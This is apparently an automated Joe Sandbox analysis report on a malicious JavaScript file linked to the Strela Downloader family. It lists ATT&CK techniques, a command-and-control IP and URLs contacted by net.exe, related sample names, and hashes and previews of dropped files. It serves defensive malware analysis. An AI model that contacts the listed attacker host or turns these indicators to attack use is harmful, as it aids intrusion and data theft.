Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
225008411339129134.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/91	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3402796578.0000027DBBE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2181577873.0000027DBBC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/91	net.exe, 00000007.00000002.2181847567.0000023139198000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2181847567.0000023139198000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588055
Start date and time:	2025-01-10 20:51:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	225008411339129134.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.56.162.204, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 225008411339129134.js

Simulations

Behavior and APIs

Time	Type	Description
14:52:02	API Interceptor	24x Sleep call for process: powershell.exe modified
14:52:05	API Interceptor	1x Sleep call for process: net.exe modified
14:52:06	API Interceptor	2x Sleep call for process: svchost.exe modified
14:52:18	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307161330819325
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug/:gJjJGtpTq2yv1AuNZRY3diu8iBVqFt
MD5:	162F7EC1DD48F1AC777D431D4342167F
SHA1:	2AE3159248F71B20A614153F75818FED4B667D65
SHA-256:	A5050A6C64C04F36CA6BB02C65E41FB832D08BCBCD61ABCBE503DCC7ECFF346E
SHA-512:	CC886F9DDEAD31B214923A506B501F6FF371F090786A4D4383F6AA53977FC240BCF4FA991F25631C530918DF730410855FBE0EA1AA823508EE2C0F8D44478240
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4157ad5d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585656135757113
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	ADB4B3B563C73098BFB0F38349FA9FD9
SHA1:	21BC66A433AF829AB5997CA2D59509EFBA1F0DDD
SHA-256:	F65AE7CF8683593BF9D92E8FCB19286B32310DDADF4B996A5208A108F7A0715E
SHA-512:	92DF5EBC80CA561D090EE06EBB6BDB2BD9CD26884347D0A72790401BE4233963FDE5194599048315E0808AC0310B653759D535AD06F94A999818A65D116684E9
Malicious:	false
Preview:	AW.]... ...............X\...;...{......................0.z..........{...4...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................Jz..4...}.......................4...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131285655178788
Encrypted:	false
SSDEEP:	3:afYeUQJyt1VGuAJkhvekl1KL1tallrekGltll/SPj:afz9+rxlfJe3l
MD5:	40EB05C788359E454E2A92C09B57192F
SHA1:	4AA98C7B9A5C6F5B7DC9EBCC5D322DDAC1F8BF6F
SHA-256:	C657D3DD682628234C5B522280F1B72B57A9DC1F1F487C1FA716283AAC2FE355
SHA-512:	A57CDD26F327FFD35A2E7670262A72DD0ED898A29472E5EC6B2B250C2E7882A1B44F2DD42FF32FF0EE55E1693294CC73F0A43434F9C460FD22C446A10D9886A5
Malicious:	false
Preview:	u*.x.....................................;...{...4...}.......{...............{.......{...XL......{.......................4...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.225823016518982
Encrypted:	false
SSDEEP:	6:iO4U0aH39+q2P92nKuAl9OmbnIFUtSUdpJZmwsUdp9VkwO92nKuAl9OmbjLJ:7ECIv4HAahFUtTD/pZ5LHAaSJ
MD5:	165345B0157528190BB0AF29B16BCAD3
SHA1:	5D886BFECFD3685453FCD7BDD3D01FEB567D8E5A
SHA-256:	354DDDCB59F1E39D4FFC2B00E15A7840DE15CD3054C09E9762CF2090069FCEF0
SHA-512:	C539D6CC444443823F54C98B3340EAFD33758212CCB17312104DDDD66939350CC5D85D0DEC263FB800BAC3A1C5A5630005812A38543031AC7E1599BF35E3F243
Malicious:	false
Preview:	2025/01/10-14:52:06.369 1908 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:52:06.372 1908 Recovering log #3.2025/01/10-14:52:06.372 1908 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.225823016518982
Encrypted:	false
SSDEEP:	6:iO4U0aH39+q2P92nKuAl9OmbnIFUtSUdpJZmwsUdp9VkwO92nKuAl9OmbjLJ:7ECIv4HAahFUtTD/pZ5LHAaSJ
MD5:	165345B0157528190BB0AF29B16BCAD3
SHA1:	5D886BFECFD3685453FCD7BDD3D01FEB567D8E5A
SHA-256:	354DDDCB59F1E39D4FFC2B00E15A7840DE15CD3054C09E9762CF2090069FCEF0
SHA-512:	C539D6CC444443823F54C98B3340EAFD33758212CCB17312104DDDD66939350CC5D85D0DEC263FB800BAC3A1C5A5630005812A38543031AC7E1599BF35E3F243
Malicious:	false
Preview:	2025/01/10-14:52:06.369 1908 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:52:06.372 1908 Recovering log #3.2025/01/10-14:52:06.372 1908 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.156176102164502
Encrypted:	false
SSDEEP:	6:iO4U4qL+q2P92nKuAl9Ombzo2jMGIFUtSUN11ZmwsUmLVkwO92nKuAl9Ombzo2jz:7oqL+v4HAa8uFUtH/yLV5LHAa8RJ
MD5:	9DE5758CF64EBD232CBF0785C95AAACE
SHA1:	6B04AA11B7DB12B3EED5295A7EBD2CA0918162CA
SHA-256:	D3A1D64F71F41194AA4911587620EB730FB174F969E5E407DD390C048C970BF7
SHA-512:	61B5FC2B048A48CD1EE8D47D20B199EB94C9CAC04835EB742D6CF6AA93AA017C17BB00ECEBC336E4FE7E1E7DE9A8A50D2B033BBFB068C801903F3498352D23A2
Malicious:	false
Preview:	2025/01/10-14:52:06.444 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:52:06.446 1a7c Recovering log #3.2025/01/10-14:52:06.447 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.156176102164502
Encrypted:	false
SSDEEP:	6:iO4U4qL+q2P92nKuAl9Ombzo2jMGIFUtSUN11ZmwsUmLVkwO92nKuAl9Ombzo2jz:7oqL+v4HAa8uFUtH/yLV5LHAa8RJ
MD5:	9DE5758CF64EBD232CBF0785C95AAACE
SHA1:	6B04AA11B7DB12B3EED5295A7EBD2CA0918162CA
SHA-256:	D3A1D64F71F41194AA4911587620EB730FB174F969E5E407DD390C048C970BF7
SHA-512:	61B5FC2B048A48CD1EE8D47D20B199EB94C9CAC04835EB742D6CF6AA93AA017C17BB00ECEBC336E4FE7E1E7DE9A8A50D2B033BBFB068C801903F3498352D23A2
Malicious:	false
Preview:	2025/01/10-14:52:06.444 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:52:06.446 1a7c Recovering log #3.2025/01/10-14:52:06.447 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\805a1c06-7a29-4f0d-ab9d-0a95e11251d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.057748221481702
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHsBdOg2HHYZcaq3QYiubxnP7E4T3OF+:Y2sRds5dMHHYg3QYhbxP7nbI+
MD5:	27B5DE3AA9BA81A42C34ADC925759137
SHA1:	89ACD4B46A29643B7BC802C0B375B81DD80E5B15
SHA-256:	D26698B069EFA8F798FF5DDFE5739D1AC0CFA071C4D3273D7EE9AFFB68D2CCA0
SHA-512:	7A9D4357EF5A866C1CC2AF7480BD135A4F3847F4D4D0AD5BCCDD3CC78E1468AE07F02A7D32F88103982C350D5D9DBB5845608DA22269F7C1AF836825A2B109EE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098738401278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146876},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.057748221481702
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHsBdOg2HHYZcaq3QYiubxnP7E4T3OF+:Y2sRds5dMHHYg3QYhbxP7nbI+
MD5:	27B5DE3AA9BA81A42C34ADC925759137
SHA1:	89ACD4B46A29643B7BC802C0B375B81DD80E5B15
SHA-256:	D26698B069EFA8F798FF5DDFE5739D1AC0CFA071C4D3273D7EE9AFFB68D2CCA0
SHA-512:	7A9D4357EF5A866C1CC2AF7480BD135A4F3847F4D4D0AD5BCCDD3CC78E1468AE07F02A7D32F88103982C350D5D9DBB5845608DA22269F7C1AF836825A2B109EE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098738401278","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146876},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232137445969094
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUXLFlyhs:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLk
MD5:	CB1D93212E6E07AAA9DFED7AD68AE0E4
SHA1:	02ACB74B063EEDDCE983782050946A2B523B300E
SHA-256:	76E1B0AF9A463538600CCE564CE299CB383BCA0D37BACFB2DD0AABD851DA168D
SHA-512:	22BD7C9D523BC9809375DDF9B09FEE535C6417508859E4107923665B32C2C9518C4CE0AE9EED6EEC2BEDE7204DA534CEBE18C7859A32A704BDE0FFA2FE5B7AC7
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166278744976888
Encrypted:	false
SSDEEP:	6:iO4UX1jL+q2P92nKuAl9OmbzNMxIFUtSUI1ZmwsUfLVkwO92nKuAl9OmbzNMFLJ:71jL+v4HAa8jFUt4/jLV5LHAa84J
MD5:	9FCA53B2C6902E3D482567CF9A6841D7
SHA1:	E30AD87385B4C2F8224FE44F648C4DC17009187E
SHA-256:	131EE3495E1415C5DF2C199192F963641AB1DD1372171FA40C34DD57A1272B5E
SHA-512:	7DD89C3488EDDF02DF977AB046C5A82F95C0AD2EF17AB7CF7434468A0BAC9EF3F6B27F0B0136B28734A9819D9F324F26C97C8F5DE6376FC486029337685C240B
Malicious:	false
Preview:	2025/01/10-14:52:06.532 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:52:06.533 1a7c Recovering log #3.2025/01/10-14:52:06.534 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166278744976888
Encrypted:	false
SSDEEP:	6:iO4UX1jL+q2P92nKuAl9OmbzNMxIFUtSUI1ZmwsUfLVkwO92nKuAl9OmbzNMFLJ:71jL+v4HAa8jFUt4/jLV5LHAa84J
MD5:	9FCA53B2C6902E3D482567CF9A6841D7
SHA1:	E30AD87385B4C2F8224FE44F648C4DC17009187E
SHA-256:	131EE3495E1415C5DF2C199192F963641AB1DD1372171FA40C34DD57A1272B5E
SHA-512:	7DD89C3488EDDF02DF977AB046C5A82F95C0AD2EF17AB7CF7434468A0BAC9EF3F6B27F0B0136B28734A9819D9F324F26C97C8F5DE6376FC486029337685C240B
Malicious:	false
Preview:	2025/01/10-14:52:06.532 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:52:06.533 1a7c Recovering log #3.2025/01/10-14:52:06.534 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklQYbNl/tfllXlE/HT8kxI/jNNX8RolJuRdxLlGB9lQRYwpDdt:kKJYbNteT84IRNMa8RdWBwRd
MD5:	E3AC06E017A770195CC081513B198293
SHA1:	A6FC24EB363CB23A2C59593A2237CDDD66B6DC2C
SHA-256:	743AD8366B8B3BAA0100823A8A396232F9AC292E80D06C12333A5F09C2ABFF65
SHA-512:	8A56E5C4006A1F958C8B069D8F021395885FDF02A5727562AEAEC4A7F364A8CCFDD600FD1457E256780BE80698D760D02D6745EB8FC1E593227CD3D6B24C6B36
Malicious:	false
Preview:	p...... ...........'.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
